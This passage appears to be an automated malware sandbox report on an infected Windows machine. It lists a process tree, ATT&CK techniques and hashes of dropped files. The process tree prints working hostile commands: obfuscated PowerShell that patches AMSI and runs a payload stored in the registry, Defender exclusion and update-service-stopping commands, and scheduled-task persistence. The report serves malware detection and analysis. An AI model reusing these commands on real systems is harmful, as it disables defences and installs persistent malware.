- Scheduled Task/Job: Scheduled Task
PID:1352

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "26675185412" /sc MINUTE /mo 5 /tr "'C:\Windows\ModemLogs\2667518541.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3280

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "2667518541" /sc ONLOGON /tr "'C:\Windows\ModemLogs\2667518541.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5036

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "26675185412" /sc MINUTE /mo 8 /tr "'C:\Windows\ModemLogs\2667518541.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3560

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 4252 -ip 4252
1⤵
PID:3380

C:\ProgramData\dllhost.exe
C:\ProgramData\dllhost.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2428

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2756 -ip 2756
1⤵
PID:2216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2756 -ip 2756
1⤵
PID:3384

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:qrzxMBrHkhdz{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$pLELxhYInLgFNh,[Parameter(Position=1)][Type]$HbgvAwGAhf)$tgVJWWnOKkT=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+''+'c'+''+[Char](116)+''+[Char](101)+'dDel'+'e'+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+[Char](101)+'mo'+[Char](114)+''+'y'+''+[Char](77)+'o'+[Char](100)+''+'u'+''+'l'+''+[Char](101)+'',$False).DefineType('M'+'y'+''+'D'+''+'e'+'l'+'e'+''+'g'+''+[Char](97)+''+[Char](116)+'e'+'T'+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+'l'+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'P'+''+'u'+'b'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+'al'+[Char](101)+'d'+[Char](44)+''+'A'+'nsi'+[Char](67)+''+'l'+''+[Char](97)+'s'+[Char](115)+''+','+''+[Char](65)+'u'+'t'+''+'o'+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$tgVJWWnOKkT.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+'H'+'i'+'d'+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+'ub'+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$pLELxhYInLgFNh).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+'m'+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$tgVJWWnOKkT.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'','Pu'+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+'e'+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+'g'+''+','+''+[Char](78)+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+'t'+''+','+''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$HbgvAwGAhf,$pLELxhYInLgFNh).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+'i'+''+[Char](109)+'e'+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');Write-Output $tgVJWWnOKkT.CreateType();}$FqadwccSHavQx=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+'.dl'+[Char](108)+'')}).GetType(''+'M'+'i'+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+'W'+'i'+''+'n'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+'fe'+[Char](78)+''+'a'+''+'t'+''+'i'+''+'v'+''+'e'+''+[Char](77)+''+'e'+''+[Char](116)+''+[Char](104)+''+[Char](111)+'ds');$lIbDHwhtWySCpc=$FqadwccSHavQx.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+'c'+[Char](65)+''+[Char](100)+'d'+[Char](114)+''+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](83)+'ta'+'t'+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$GITyJwYSJLITgRNInFw=qrzxMBrHkhdz @([String])([IntPtr]);$jaWLNdmlbTwAzozGmvPvEr=qrzxMBrHkhdz @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$iddqRIkdIQx=$FqadwccSHavQx.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](77)+''+[Char](111)+'d'+'u'+''+'l'+''+'e'+'H'+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'er'+'n'+''+'e'+''+'l'+'32'+'.'+'dl'+[Char](108)+'')));$vCRCyaXoSgjJNA=$lIbDHwhtWySCpc.Invoke($Null,@([Object]$iddqRIkdIQx,[Object]('L'+[Char](111)+''+[Char](97)+'d'+'L'+'i'+'b'+'rar'+[Char](121)+''+'A'+'')));$cUBKnUrtwAefjEOcu=$lIbDHwhtWySCpc.Invoke($Null,@([Object]$iddqRIkdIQx,[Object](''+[Char](86)+'i'+[Char](114)+''+'t'+''+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+'t')));$qdERHHA=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vCRCyaXoSgjJNA,$GITyJwYSJLITgRNInFw).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+[Char](105)+''+[Char](46)+'dl'+[Char](108)+'');$MilbBfxAYDUURPWSl=$lIbDHwhtWySCpc.Invoke($Null,@([Object]$qdERHHA,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+'i'+''+[Char](83)+''+[Char](99)+''+[Char](97)+'n'+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$wmWvUAvruC=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cUBKnUrtwAefjEOcu,$jaWLNdmlbTwAzozGmvPvEr).Invoke($MilbBfxAYDUURPWSl,[uint32]8,4,[ref]$wmWvUAvruC);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$MilbBfxAYDUURPWSl,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cUBKnUrtwAefjEOcu,$jaWLNdmlbTwAzozGmvPvEr).Invoke($MilbBfxAYDUURPWSl,[uint32]8,0x20,[ref]$wmWvUAvruC);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+'l'+'e'+''+[Char](114)+''+[Char](115)+'ta'+[Char](103)+'er')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3292

C:\ProgramData\bjvvxgbjmpij\npldfzxzkixc.exe
C:\ProgramData\bjvvxgbjmpij\npldfzxzkixc.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
PID:2080
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:2912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:836
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:1868
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1076
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:3428
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:568
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:3352
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:2680
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:2872
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:424
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:1504
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:2608
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:4532
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:3172
- C:\Windows\system32\dialer.exe
  dialer.exe
  2⤵
  PID:732

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:EOxHdYxSxXWY{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$xNmgVPNqYNOoYT,[Parameter(Position=1)][Type]$lfYhBRUHda)$xrCHbDFDMrl=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+'l'+[Char](101)+''+[Char](99)+''+[Char](116)+''+'e'+''+'d'+'D'+'e'+'l'+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+[Char](77)+''+'e'+''+'m'+''+[Char](111)+''+[Char](114)+''+'y'+''+'M'+''+'o'+''+[Char](100)+''+[Char](117)+''+'l'+''+'e'+'',$False).DefineType('MyD'+[Char](101)+''+[Char](108)+'eg'+[Char](97)+''+[Char](116)+''+[Char](101)+''+'T'+''+[Char](121)+''+[Char](112)+'e',''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+'li'+'c'+''+[Char](44)+''+[Char](83)+''+'e'+''+[Char](97)+''+'l'+''+[Char](101)+''+[Char](100)+',A'+[Char](110)+''+[Char](115)+''+'i'+'C'+'l'+''+[Char](97)+''+'s'+'s'+','+'A'+'u'+'t'+[Char](111)+''+'C'+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$xrCHbDFDMrl.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+'e,'+'H'+'id'+[Char](101)+''+[Char](66)+'y'+'S'+''+'i'+''+'g'+''+[Char](44)+''+[Char](80)+''+'u'+'bl'+'i'+'c',[Reflection.CallingConventions]::Standard,$xNmgVPNqYNOoYT).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+'a'+'g'+'ed');$xrCHbDFDMrl.DefineMethod(''+'I'+''+'n'+''+'v'+''+[Char](111)+''+[Char](107)+''+[Char](101)+'','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'H'+''+'i'+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+'g'+''+[Char](44)+''+[Char](78)+''+'e'+'w'+[Char](83)+''+[Char](108)+'o'+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+''+'r'+'t'+'u'+''+[Char](97)+'l',$lfYhBRUHda,$xNmgVPNqYNOoYT).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+[Char](116)+''+'i'+''+'m'+''+[Char](101)+''+','+'M'+[Char](97)+''+'n'+''+[Char](97)+'ge'+'d'+'');Write-Output $xrCHbDFDMrl.CreateType();}$fSJuvVYobHWGW=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+[Char](114)+''+[Char](111)+''+'s'+'of'+[Char](116)+'.'+'W'+'i'+[Char](110)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](85)+''+[Char](110)+'s'+'a'+'f'+'e'+''+'N'+''+[Char](97)+'t'+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+''+'e'+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+'d'+''+[Char](115)+'');$LbbRXYbgrbgAPE=$fSJuvVYobHWGW.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+'d'+'r'+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+',St'+[Char](97)+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$xhLuAAnLOkeajiDSuQp=EOxHdYxSxXWY @([String])([IntPtr]);$DVsuURzNqXXpPvGiOBlntZ=EOxHdYxSxXWY @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$xuZcaFLQLUw=$fSJuvVYobHWGW.GetMethod(''+'G'+''+'e'+''+'t'+''+'M'+''+'o'+''+[Char](100)+''+'u'+''+[Char](108)+''+'e'+'H'+[Char](97)+'n'+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+'r'+'n'+'e'+[Char](108)+''+[Char](51)+'2.'+[Char](100)+''+[Char](108)+''+'l'+'')));$ysjYrFVnNLFEzv=$LbbRXYbgrbgAPE.Invoke($Null,@([Object]$xuZcaFLQLUw,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+'y'+''+[Char](65)+'')));$cUZZDpbcRUXgtPjAi=$LbbRXYbgrbgAPE.Invoke($Null,@([Object]$xuZcaFLQLUw,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+'ua'+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+'t'+[Char](101)+''+[Char](99)+'t')));$PIoYdmh=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ysjYrFVnNLFEzv,$xhLuAAnLOkeajiDSuQp).Invoke('a'+'m'+''+'s'+''+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+'l'+'');$mrSWefuNzaZAHlRfF=$LbbRXYbgrbgAPE.Invoke($Null,@([Object]$PIoYdmh,[Object](''+'A'+''+[Char](109)+''+'s'+''+[Char](105)+'S'+[Char](99)+''+'a'+''+'n'+''+'B'+''+'u'+''+[Char](102)+''+[Char](102)+'er')));$ZsWkGaWMbn=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cUZZDpbcRUXgtPjAi,$DVsuURzNqXXpPvGiOBlntZ).Invoke($mrSWefuNzaZAHlRfF,[uint32]8,4,[ref]$ZsWkGaWMbn);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$mrSWefuNzaZAHlRfF,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cUZZDpbcRUXgtPjAi,$DVsuURzNqXXpPvGiOBlntZ).Invoke($mrSWefuNzaZAHlRfF,[uint32]8,0x20,[ref]$ZsWkGaWMbn);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+'RE').GetValue(''+[Char](100)+'ia'+[Char](108)+'er'+[Char](115)+'t'+[Char](97)+'ge'+'r'+'')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
PID:4952

C:\ProgramData\dllhost.exe
C:\ProgramData\dllhost.exe
1⤵
- Executes dropped EXE
PID:3600

C:\ProgramData\dllhost.exe
C:\ProgramData\dllhost.exe
1⤵
- System Location Discovery: System Language Discovery
PID:1844

C:\ProgramData\dllhost.exe
C:\ProgramData\dllhost.exe
1⤵
- System Location Discovery: System Language Discovery
PID:2832

C:\ProgramData\dllhost.exe
C:\ProgramData\dllhost.exe
1⤵
- System Location Discovery: System Language Discovery
PID:3672

C:\Program Files (x86)\WindowsPowerShell\Configuration\Possibly.pif.exe
"C:\Program Files (x86)\WindowsPowerShell\Configuration\Possibly.pif.exe"
1⤵
PID:3996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 2520 -ip 2520
1⤵
PID:5576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 3712 -ip 3712
1⤵
PID:5308

C:\ProgramData\dllhost.exe
C:\ProgramData\dllhost.exe
1⤵
PID:1364

C:\ProgramData\qxit\mummdkt.exe
C:\ProgramData\qxit\mummdkt.exe
1⤵
PID:5188

C:\Program Files (x86)\Microsoft.NET\RedistList\fontdrvhost.exe
"C:\Program Files (x86)\Microsoft.NET\RedistList\fontdrvhost.exe"
1⤵
PID:4708

C:\Windows\SysWOW64\Gwogw.exe
C:\Windows\SysWOW64\Gwogw.exe -auto
1⤵
PID:924
- C:\Windows\SysWOW64\Gwogw.exe
  C:\Windows\SysWOW64\Gwogw.exe -acsi
  2⤵
  - Drops file in Drivers directory
  - Sets service image path in registry
  - Suspicious behavior: LoadsDriver
  PID:4664

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 5204 -ip 5204
1⤵
PID:5768

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
1⤵
PID:2672

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
PID:1932

C:\Recovery\WindowsRE\explorer.exe
C:\Recovery\WindowsRE\explorer.exe
1⤵
PID:5940

C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\StartMenuExperienceHost.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\StartMenuExperienceHost.exe"
1⤵
PID:6396

C:\ProgramData\dllhost.exe
C:\ProgramData\dllhost.exe
1⤵
PID:4924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 8868 -ip 8868
1⤵
PID:9296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Modify Authentication Process

T1556

Power Settings

T1653

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Network Share Connection Removal

T1070.005

Modify Authentication Process

T1556

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Browser Information Discovery

T1217

Network Share Discovery

T1135

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Chrome\AsyncClient.exe

Filesize
1.5MB

MD5
8ebfb00f97e5120227605496dee1ba2d

SHA1
3c225ff088d0fde20c4f2908363909dcc8efdc8c

SHA256
72ac498f8d99dd2b4c4c4f68a2c709c97dd3f397ac02be6ad1b5b874450c146e

SHA512
d9e566c6ca2db028dce7a7ee068bddd86ad2def9a8fe222af4be72e8618f08423b8bd81a9f709bc86c161b63fc9bade35138386d8cc3411a8fe23c5a84ce9328

Download Submit
C:\ProgramData\AAEBAFBG

Filesize
112KB

MD5
87210e9e528a4ddb09c6b671937c79c6

SHA1
3c75314714619f5b55e25769e0985d497f0062f2

SHA256
eeb23424586eb7bc62b51b19f1719c6571b71b167f4d63f25984b7f5c5436db1

SHA512
f8cb8098dc8d478854cddddeac3396bc7b602c4d0449491ecacea7b9106672f36b55b377c724dc6881bee407c6b6c5c3352495ed4b852dd578aa3643a43e37c0

Download Submit
C:\ProgramData\BKJKEBGD

Filesize
114KB

MD5
70483b2b6c1b377935d0667ad48442f9

SHA1
8c55b53dd72bb908dcf6142efc1012d4809687cc

SHA256
bba3099cbd15dce9a683ab89cabc577fb3db834e57d44241d34058ed13be11ed

SHA512
7ea7e8c38a467eadc079be3c96439ab55403b5995f979de96afa138ad98d87abda3b5105ae751acbb123aca9a24b5066de24bb02fe564bce217532a6b5a88159

Download Submit
C:\ProgramData\ECBGHCGCBKFIECBFHIDG

Filesize
10KB

MD5
032418226b81966589ef4715e599d4ad

SHA1
48fab73ecf808a271c508cff772ea41ce82f7be4

SHA256
78281993834853f051b452da31d901320e85c1ccfa8c207e527874d9c9cfd270

SHA512
622b8381087b99dd4f1c72683fb8595d6431eb567690645e3e3bb8359aa125afc83c7c220050cea5d992361173f25a9ca9379241092f316226d27ce83a8e3c0d

Download Submit
C:\ProgramData\epiAvidenta\epiAvidenta.exe

Filesize
3.5MB

MD5
a522905c3c4210e35704bfc033e21161

SHA1
f76452c87ae44004607f7c33bb9389701c692944

SHA256
48e4f9fb2e28adbf455d091aaf996abe503c3d23e2cbece0649f3c4dafea6159

SHA512
077e62875e2551292ca48538bc60df2f7b034815be6f2c0793acb69b48629b7adf706ef90cba67db01d7942a7ddf364826036d5c21590dfc0d471667b37813bf

Download Submit
C:\ProgramData\mozglue.dll

Filesize
593KB

MD5
c8fd9be83bc728cc04beffafc2907fe9

SHA1
95ab9f701e0024cedfbd312bcfe4e726744c4f2e

SHA256
ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

SHA512
fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

Download Submit
C:\Users\Admin\AppData\Local\D3DSCache\3bd34a5a96479e11\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

Filesize
64KB

MD5
7fd010d1a41fe1e97dfe8021651dfd4f

SHA1
70c281b0da48945847fed424f334f8bc9085a7b4

SHA256
0aaf66674fb81ae8f55d70b005d17ec332eda7cf2cd4733785fa50872ac31916

SHA512
f3b4e088431d24daeaa5d120cca2a16d67993339896268ff7c938ea68370848dfabb6b5e1bccb4b073497ec0d6f91329985295aabd0eb64733dcb91d25783aec

Download Submit
C:\Users\Admin\AppData\Local\D3DSCache\3bd34a5a96479e11\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock

Filesize
4B

MD5
f49655f856acb8884cc0ace29216f511

SHA1
cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

SHA256
7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

SHA512
599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

Download Submit
C:\Users\Admin\AppData\Local\D3DSCache\3bd34a5a96479e11\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val

Filesize
1024B

MD5
e96752f23cafede8346d474efa7d564d

SHA1
7dc6c615b6785fecdf326c42e2ba1949ff1e781e

SHA256
3cd0372603d7b19b87f685a8beb1a4b9c982c15d8a4f1ed9539094a7eae9bf59

SHA512
20e2d2e0a00eb7230bab44530449dd77215d66e97e7cd78bb48a565c14b8abc7f42bb0436314f87e53de1bed6925dc4113192a6cf9bb8782597ad953b5b3c726

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\746f8e34-0dc1-43eb-b65e-866db18e88b3.tmp

Filesize
9KB

MD5
75efbc2d1cd1a9fbddc2a28205d35273

SHA1
296542194ad30c3db8f593e68f63a9aa21c210a4

SHA256
decf04bbc146dcca39ea1057a3c9f3f3c298dc70f5c03361b607380aea8d437d

SHA512
56b09e5c97b9bbb04c73772b1f394f04d95fcf8dadbddf0d2ceec59adc62e5ac25cee44e253f68e940954760f0f81dfbccdf90f9d78fa32c0992f1f0674f5feb

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

Filesize
649B

MD5
0f73a8bcba8f899b217d71b28cf9d2b7

SHA1
d7ac4f8f0179554f160daf783b9b9af20acc23fc

SHA256
80e65dab9c76b9385fb20c83c5bb3ac788a1ccf3616b8423a2ec9ef8be1764f0

SHA512
a365f93b03fd12d559035c3a1c16f3a065aeeab13e3c93e31a63a9ebc28ceeddda1c3225fdeebabef327b0aca1e8b388ba98d0b6def1a6f1f70bfdc1fce91699

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.83.1_0\_locales\en_CA\messages.json

Filesize
851B

MD5
07ffbe5f24ca348723ff8c6c488abfb8

SHA1
6dc2851e39b2ee38f88cf5c35a90171dbea5b690

SHA256
6895648577286002f1dc9c3366f558484eb7020d52bbf64a296406e61d09599c

SHA512
7ed2c8db851a84f614d5daf1d5fe633bd70301fd7ff8a6723430f05f642ceb3b1ad0a40de65b224661c782ffcec69d996ebe3e5bb6b2f478181e9a07d8cd41f6

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.83.1_0\dasherSettingSchema.json

Filesize
854B

MD5
